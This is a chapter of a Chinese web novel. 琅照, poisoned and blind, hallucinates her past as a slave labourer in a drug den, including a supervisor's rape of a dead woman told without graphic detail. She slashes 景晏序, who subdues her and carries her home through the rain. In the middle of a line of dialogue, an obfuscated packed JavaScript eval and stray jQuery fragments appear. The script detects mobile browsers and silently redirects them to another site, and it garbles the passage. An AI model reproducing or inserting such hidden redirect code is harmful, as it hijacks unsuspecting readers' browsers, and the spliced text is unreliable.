65. 外衣

作品:《伪装成白月光后她篡位了

    只听景晏序轻声说道:“筷子掉了么?”


    “我这就捡。”


    明明知道景晏序不是嗔怪的意思,琅照还是感觉很不安。


    筷子掉落的声音,不轻不重,但是在死气沉沉、耳目无处不在的灰鹞帮,这声音震耳欲聋。


    不记得是多少号料奴,打碎了逍遥散,疤脸说:“糟蹋东西!”


    然后是鞭条打在人身上的声音。


    听不到料奴的惨叫,他们都习惯了。


    琅照顿时慌张起来,她会不会被罚去洗缸?


    洗缸的时候,缸壁滚烫,水却是从黑水河打上来的冰水,热汽和冷气交替,皮肤会被活活撕开。


    还是去火道口?


    火道口更糟糕,很热,灼烧感经久不散,会将人的双目蒸干。


    不能去,她不要去。


    “四十九号!”


    “四十九号!”


    是监工沙哑又粗犷的声音,狰狞地在她耳边乱抓!


    她感到天旋地转,她在哪?她不是早就离开灰鹞帮了吗?她竟然还在灰鹞帮里面吗?她没逃出来,她还困在那个无间地狱!


    火道深处带着灼意的风扑到她脸上,是一股灰烬的味道。


    她弯下腰,毫无章法地摸着地面,地上有些积灰,琅照有些一意孤行地摸找着。


    “阿照,你先别动,你坐着。”


    “我马上,快了。”琅照还是很紧张,声音里带着颤抖。


    又是一阵轻轻的踱步声,迎面而来的是一股熟悉的竹子气,掩过了阴魂不散的灰烬之味。


    景晏序捉住琅照的手腕。


    琅照的手也停下了动作。


    窗外的雨终于不情不愿地下起来,琅照仿佛听到了竹叶被风雨赶了满天。


    竹叶,山,雨,风。


    蘧林寺。


    她在梦里吗?她在哪?到底是四十九号,还是阿照?


    景晏序从地上捡起筷子,松开琅照的手,道:“我捡到了,不过你已经把面吃完了,不需要筷子了,我去清理一下,我们就走。”


    他一边说着一边递给琅照一方手帕,“擦擦手,地上有积灰。”


    琅照死死抓着手帕,紧张地吞咽口水。


    她在眼前一片黑暗里,慢慢蹲下身,缩成小小一团,躲在桌边。


    随后厨房里发出碗筷相撞的声音,琅照将手帕绞得更紧。


    景晏序收拾好碗筷回来,“阿照,你怎么……”


    琅照小幅度摇着头,嘴里不停念叨着什么。


    景晏序蹲在她面前,靠近了一些,听清了她的话。


    她在说:“不、不……不……”


    景晏序将手放在她眼前挥了挥,她的眼神苍白,脸颊瘦削,像刺绣上不近人情的妖魔。


    但她在怕。


    她又毒发了,看见了幻觉。


    景晏序目光一冷,看向窗外乌云密布、枯败的天色。


    雨水淅淅沥沥,犹如刀剑如瀑般戳下来,一招一式,片甲不留。


    他尽量放柔了声音,像一片雪花那样,“你看见什么了,阿照?”


    “我会洗干净的、会洗干净的,马上就洗干净,好冷,好冷,好烫……干净的、干净。”她语无伦次。


    “洗什么?”


    “药缸,好烫、好冷,我马上……”


    景晏序皱了皱眉,而后将自己的靛蓝旧衣脱下来,轻轻罩在琅照头上,将她裹起来。


    他此时没穿上衣,背脊上是刺目的伤痕,醒目的骨骼。


    “披上衣服就不会被烫到了,也不会冷。”


    琅照感受到了衣料上的余温,和一股熟悉的竹林味道。


    那种水火不容的滚烫和彻寒终于偃旗息鼓。


    景晏序隔着布料轻轻抚摸她的头,“不用洗了,很干净了,可以了。”


    琅照仿佛又重回了灰鹞帮里最扎眼、最残酷的一幕。


    疤脸一藤条抽到五十九号的大腿上,怒吼:“不用洗了!一个贱奴也敢偷懒,赌钱输了正没处说理,你撞大运了!”


    五十九号是个微微丰腴的女子,才到灰鹞帮没几天。她挂念着自己的儿子,积郁成疾,干什么活儿都气喘吁吁。


    她还没来得及呼喊,刚趴倒在地上就被疤脸扯着脚拖到监工的地盘。


    五十九号哭喊,却喊了几声就没力气了。


    琅照当时在碎料台,她也才到灰鹞帮不久,已经因为反抗受了些苦头。


    她还是冲过去,至少要让疤脸死,手上抓着在碎料台偷偷磨锋的石片。


    最后她被拧断手臂,眼睛被打得只剩一条缝,还是看见了一场施暴。女人在刚开始的时候就断气了,疤脸对着她的尸体做完剩下的事。


    在灰鹞帮,监工对女料奴的施暴从未停止。从言语上来,他们似乎觉得侮辱女人更快意,好似看不起女人是一件可以引以为荣的事。身体上,他们觉得她们了无还手之力,他们毫无后顾之忧。


    她差点就可以把他杀了,石头的锋口离他只有那么一点远了,可是她被拖走,拧断一只手,身上都是拳打脚踢的於痕。


    她记得现下她有一把匕首,就藏在她身上,她要去杀了这个畜生。


    哪怕同归于尽!


    她抽出刀向前刺去,景晏序侧身一躲,被她划伤了胳膊。


    琅照在不大的斋房里挥舞着手脚,全然不防,只顾进攻,大有鱼死网破之势。


    景晏序看准时机反擒住她的手,将匕首夺过来丢在地上。


    琅照还在挣扎,不惜拧断自己的手臂。


    “阿照!”


    “阿照!”


    她依然不停地挣扎。


    景晏序无奈往她后颈劈下一手刀。


    她脱力倒下,他将她揽在怀里。


    景晏序将掉在地上的衣服捡起来披在她身上,扶着她坐到木凳上。


    两人并排坐着,琅照靠在景晏序怀里。


    琅照的头靠在景晏序胸膛,她的发丝沾了他胳膊上的血迹。


    等雨停,等梦醒,等他平复心里如潮水汹涌的爱恨。


    ……


    雨停了,景晏序将琅照背在背上,走到竹林里。


    雨后的石阶上都是被打落的竹叶,很滑,他走得很小心。


    琅照是在半路上转醒的,她几乎是被竹林的水气拍醒的,竹叶上时不时滴落水滴,虽然她头上罩着景晏序的衣服,有些水滴渗下来,还是冷得刺骨。


    琅照感觉到睫毛上似乎都挂着水滴,她依然看不见,感觉到颊边贴着他的下颌,听见他微微的气息。


    以及他似乎光着上身。


    “冷吗?”琅照问。


    “还好,你呢?”他回答。


    “冷。”


    “你把伞打开,撑着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206339|197355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会好一点。”景晏序手里还拿着一把收着的伞,是他们来时带着的。


    琅照伸手去探那把伞,不想却摸到景晏序收紧的腹部,她立即将手拿开,才摸到那把伞,她很快撑开,举在两人头顶。


    景晏序突兀地轻咳一声。


    “我既然醒了,你怎么不让我下来走?”琅照问道。


    他不假思索:“你那么要强的人,能走应该一醒就要下来了。”停顿了片刻,他问:“你现在感觉如何,有没有好一些?”


    “好一些了吧。”


    林间翻起一阵风,片片叶淋身,好似另一场雨。


    风中有些血腥气。


    琅照身上的匕首没了,她顿时感觉不妙。


    “我闻到血腥味了,你受伤了?”


    “小伤。”


    “是我伤的?”


    他顿了顿,语气轻松道:“煮面条的时候刀划破了一道小口,气味应该早散了,你才闻见?”


    “那我的匕首去哪了?”


    “你方才掉出来了,我帮你收好了。”


    “多谢。”


    “无妨。”


    “子穆,”她叫他。


    “嗯。”他回答。


    她接着说道:“我又陷入幻觉了,最后我是怎么昏的?”


    “恕罪我给了你一个手刀。”


    “难怪我的后颈这么酸,不过这样挺好的,以后我一发病,你就把我劈晕。”


    “那怎么行?”


    “怎么不行?”


    他好似很认真地疑惑:“把你打坏了怎么办?”


    “打不坏的,我的胳膊断了三次接了三次,现在依然很好用。”琅照晃了晃举伞的手。


    “为什么会断?”


    “被打的呗,在毒窝里不听话,监工打的,我是打不坏的,无论多重的伤,只要不死,我迟早会站起来。”


    “很痛苦吧?”


    景晏序问到这句,声音变得有些沙。


    “痛是真的。”


    他沉默良久,“都过去了,”又是一片沉默,他继续说:“你是我见过数一数二勇敢的人……但我头一次希望一个勇敢的人不要那么勇敢,毕竟,痛苦是实打实的。”


    琅照又被他说哭了,头撇向一边,眼泪也落到一片雾蒙蒙的水气里。


    她不自觉地收紧了环着他的胳膊,头也靠在他的肩膀上,好似一个难舍难分的拥抱。


    他用脸颊轻轻蹭了蹭她的头,很轻很轻,微微撩动了她的头发。


    “阿照。”他轻轻唤。


    琅照没出息地吸了吸鼻子。


    他浅浅一笑,“已经到楼下了。”


    “嗯。”她带着重重的鼻音回答,“你放我下来吧。”


    景晏序轻轻将她放下来。


    琅照将身上披着的外衣脱下来递给景晏序。


    景晏序松松地将衣服穿上,开口道:“那你扶着我的手,我带你上去。”


    琅照感受到了景晏序的手就在她的胳膊旁。


    “嗯。”琅照的手搭上来景晏序的胳膊。


    不敢太紧,只是轻轻搭在他手上。


    景晏序只是领着她,一步一步走得格外小心。


    “小心台阶。”


    “门。”


    ……


    琅照没有在黑暗里走的这么安稳过,耳边淅淅沥沥的雨声仿佛很远很远。